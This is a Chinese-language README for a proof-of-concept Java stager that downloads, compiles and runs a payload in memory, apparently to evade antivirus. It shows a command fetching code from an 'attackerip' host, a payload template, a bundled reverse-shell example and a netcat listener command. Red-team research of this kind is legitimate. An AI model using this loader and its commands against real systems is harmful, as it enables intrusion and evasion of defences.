一个PoC Java Stager,可在内存中下载、编译并执行Java文件。
一个概念验证的 Java 加载器,可以在内存中下载、编译和执行 Java 文件。
此内容仅供研究用途,请勿在未经授权的情况下使用。
基于 James Williams 在其演讲 "Next Gen AV vs My Shitty Code" 中的工作,演讲可见:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
对我来说,演讲的关键部分包括:
他的示例是 .net 的,但在演讲中他提到 Java 也能实现相同的技术。我实现了一个原始的概念验证,我认为它符合上述技术。
NetBeans 中的输出包含类似这样的行:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
要在目标机器上运行,你需要上传 "JavaStager*.jar" 文件和来自 "target" 文件夹的 "lib" 文件夹(包含 Janino)。
以下命令将执行加载器:
java -jar JavaStager-0.1-initial.jar
你会看到用法提示,如下所示:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
"url" 是传递给加载器的唯一参数。示例用法如下:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
你的载荷必须放在名为 "Payload.java" 的文件中,并且你的利用代码必须放在名为 "Run" 的静态方法中。以下是你编写自己的载荷时的模板:
public class Payload {
public static void Run() {
// 你的代码写在这里
}
}
我在 "TCPReverseShell.java" 文件中提供了一个示例反向 TCP 载荷。为了避免名称冲突,该文件未命名为 "Payload.java",并且类名也不正确。"TCPReverseShell.java" 头部的注释说明了如何修改它使其正常工作。
你需要将你的 "Payload.java" 文件托管在 HTTP 服务器上。你可以使用 Apache,也可以像我博客中提到的,使用 Python2 和 Python3 的简易 HTTP/HTTPS 服务:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
攻击者需要启动一个 netcat 监听器,使用标准 nc -lvp 8044 技术来接收回连。
解释其工作原理的博客文章:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
展示其实际运行的视频: